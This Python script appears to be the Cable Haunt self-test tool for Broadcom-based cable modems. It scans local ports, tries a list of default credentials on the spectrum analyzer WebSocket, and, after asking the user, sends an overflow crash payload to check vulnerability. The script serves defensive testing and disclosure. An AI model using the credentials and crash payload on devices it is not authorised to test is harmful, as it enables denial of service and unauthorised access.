import websockets
import webbrowser
import threading
import time
import socket
import concurrent.futures
import asyncio
import urllib.parse
from websockets.exceptions import WebSocketException
from queue import Queue
from typing import Tuple, List
from html import unescape
from base64 import b64encode

# ================ Scan parameters ================
# The default IPs tested for the Spectrum Analyzer 
# are a reflection of what we see in the wild.
# It is rarely hosted on the default gateway, so 
# please add IPs of changeing one, i.e. 
# ['192.168.100.1', '192.168.0.1', '192.168.1.1']
targets = ['192.168.100.1', '192.168.0.1']
portRange = range(23, 65535)
credentials = [None, "admin:password", 'askey:askey',  "user:Broadcom", 'Broadcom:Broadcom', 'broadcom:broadcom', 'spectrum:spectrum', 'admin:bEn2o#US9s']
# ================================================= 

debuging = True
validPayload = '{"jsonrpc":"2.0","method":"Frontend::GetFrontendSpectrumData","params":{"coreID":0,"fStartHz":0,"fStopHz":1218000000,"fftSize":1024,"gain":1,"numOfSamples":1},"id":"0"}'
crashPayload = '{"jsonrpc":"2.0","method":"Frontend::GetFrontendSpectrumData","params":{"coreID":0,"fStartHz":' + 'A'*200 + ',"fftSize":1024,"gain":1,"numOfSamples":1},"id":"0"}'
checkString = 'RPCResultObject'
timeout = 20
tcpTimeOut = 0.3
print_lock = threading.Lock()
possibleTargets = []


def portscan(port, ip):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(tcpTimeOut)
    try:
        con = s.connect((ip, port))
        with print_lock:
            print(ip, ":", port)
            possibleTargets.append((ip, port))
        con.close()
    except:
        pass


def threader():
    while True:
        port, ip = q.get()
        portscan(port, ip)
        q.task_done()


q = Queue()
for x in range(30):
    t = threading.Thread(target=threader)
    t.daemon = True
    t.start()

print("Scanning ports between", portRange.start, "and",
      portRange.stop, "for adresses:", targets)

for ip in targets:
    for port in portRange:
        q.put((port, ip))
q.join()


async def testEndpointWithCredentials(ipPort: Tuple[str, int], data: str, inputCredentials: List[str]):
    try:
        resp1 = await sendSpectrumDataTimeout(ipPort, data, inputCredentials[0])
        resp2 = await sendSpectrumDataTimeout(ipPort, data, inputCredentials[0], {'Origin': 'http://example.com', 'Host': 'example.com'})
        return resp1, resp2, inputCredentials[0]
    except WebSocketException as e:
        if "401" in str(e) and len(inputCredentials) > 1:
            return await testEndpointWithCredentials(ipPort, data, inputCredentials[1:])
        else:
            raise

async def sendSpectrumDataTimeout(ipPort: Tuple[str, int], data: str, credsString: str, additionalHeaders = None, inputTimeout = timeout):
    return await asyncio.wait_for(sendSpectrumData(ipPort, data, credsString, additionalHeaders), inputTimeout)

async def sendSpectrumData(ipPort: Tuple[str, int], data: str, credsString: str, additionalHeaders = None):
    headers = {}
    if credsString is not None:
        authString=b64encode(credsString.encode())
        headers = {'Authorization': 'Basic ' + (authString).decode("utf-8")}
    if additionalHeaders:
        headers.update(additionalHeaders)
    uri = 'ws://' + ipPort[0] + ':' + str(ipPort[1]) + '/Frontend'
    async with websockets.connect(uri, extra_headers=headers, subprotocols=['rpc-frontend']) as websocket:
        await websocket.send(data)
        resp = await websocket.recv()
    return resp

victims = []
endpointTestStr = ""
for x in possibleTargets:
    try:
        resp1, resp2, retCredentials = asyncio.get_event_loop().run_until_complete(testEndpointWithCredentials(x, validPayload, credentials))
        tmpStr = ""
        if checkString in resp2:
            tmpStr = str(x) + " is a Spectrum Analyzer (searching for more endpoints) - Headers accepted"
            victims.append({"target": x, "credentials": retCredentials})
        elif checkString in resp1:
            tmpStr = str(x) + " is a Spectrum Analyzer (searching for more endpoints) - Headers rejected"
            victims.append({"target": x, "credentials": retCredentials})
        else:
            tmpStr = str(x) + " is a websocket endpoint but not the Spectrum Analyzer"
        print(tmpStr)
        endpointTestStr += "\r\n" + tmpStr
    except WebSocketException as e:
        tmpStr = str(x) + " is not a websocket endpoint (WebSocketException: " + str(e) + ")"
        print(tmpStr)
        endpointTestStr += "\r\n" + tmpStr
        resp=''
    except asyncio.TimeoutError as e:
        tmpStr = str(x) + " is not a websocket endpoint, no response (Asyncio TimeoutError: " + str(e) + ")"
        print(tmpStr)
        endpointTestStr += "\r\n" + tmpStr
        resp=''
    except UnicodeDecodeError as e:
        tmpStr = str(x) + "is not a websocket endpoint (UnicodeDecodeError:" + str(e) + ")"
        print(tmpStr)
        endpointTestStr += "\r\n" + tmpStr
        resp=''
    except TimeoutError as e:
        tmpStr = str(x) + "is not a websocket endpoint (TimeoutError:", str(e) + ")"
        print(tmpStr)
        endpointTestStr += "\r\n" + tmpStr
        resp=''

emailString="Hello Cable Haunt, I have tested my modem for the vulnerability.\r\n"
vulnerableEndpoints=[]
nonVulnerableEndpoints=[]
crashResultStrings=""
if victims:
    print('Found the spectrum analyzer on these endpoints: ', victims)
    print("If we continue your modem might reboot, do you want to continue? (Y/n)")
    ans=input()
    if ans != "n" and ans != "N":
        print('Sending crash payload')
        print('If modem crashes you are vulnerable to Cable Haunt.')
        for victim in victims:
            try:
                resp=asyncio.get_event_loop().run_until_complete(
                    sendSpectrumDataTimeout(victim['target'], crashPayload, victim['credentials']))
                if checkString in resp:
                    tmpStr = 'Spectrum Analyzer responding correctly to crash payload: Not vulnerable - ' + str(victim)
                    nonVulnerableEndpoints.append(victim)
                else:
                    raise asyncio.TimeoutError
            except (WebSocketException, asyncio.TimeoutError) as e:
                try:
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.settimeout(tcpTimeOut)
                    con = s.connect((ip, port))
                    tmpStr = 'Crash payload possibly reject or modem rebooted within 20s: Unknown vulnerability - ' + str(victim)
                except (WebSocketException, asyncio.TimeoutError, OSError) as e:
                    tmpStr = 'Spectrum Analyzer crashes from crash payload: Vulnerable - ' + str(victim)
                vulnerableEndpoints.append(victim)
            print(tmpStr)
            crashResultStrings += '\r\n' + tmpStr
else:
    print('We could not find ip and port for spectrum analyzer. This could mean you are not vulnerable or that we did not test for the correct IP, port or credentials. Please refer to the repo if you want to expand the list of IPs, ports and credentials you are scanning.')

print("Thank you for testing your modem, do you want to send your results to Cable Haunt? (Y/n)")
ans=input()
if ans != "n" and ans != "N":
    print("Who produced your modem? (Leave blank if unknown):")
    emailString += "\r\nManufacturer: " + input()
    print("What is the model? (Leave blank if unknown):")
    emailString += "\r\nModel: " + input()
    print("What is the firmware version? (Leave blank if unknown):")
    emailString += "­\r\nFW: " + input()
    print("Who is your ISP? (Leave blank if unknown):")
    emailString += "­\r\nISP: " + input()
    print("Can you confirm the modem did reboot/crash?")
    emailString += "­\r\nReboot confirmed: " + input()
    print("Additional comments (Enter ends comment):")
    emailString += "­\r\nAdditional comments: " + input()
    emailString += "\r\n====================================\r\n"
    emailString += "\r\nVul endpoints:     " + str(vulnerableEndpoints)
    emailString += "\r\nNonvul endpoints:  " + str(nonVulnerableEndpoints)
    emailString += "\r\nTested IPs:        " + str(targets)
    emailString += "\r\nPort range:        " + str(portRange)
    emailString += "\r\nResp check string: " + str(checkString)
    emailString += "\r\nTested creds:      " + str(credentials)
    emailString += "\r\nTimeout:           " + str(timeout)
    emailString += "\r\nValid payload:     " + str(validPayload)
    emailString += "\r\nCrash payload:     " + str(crashPayload)
    emailString += "\r\n"+str(endpointTestStr)
    emailString += "\r\n"+str(crashResultStrings)
    webbrowser.open("mailto:cablehaunt@lyrebirds.dk?subject=Cable Haunt modem test&body=" + urllib.parse.quote(emailString))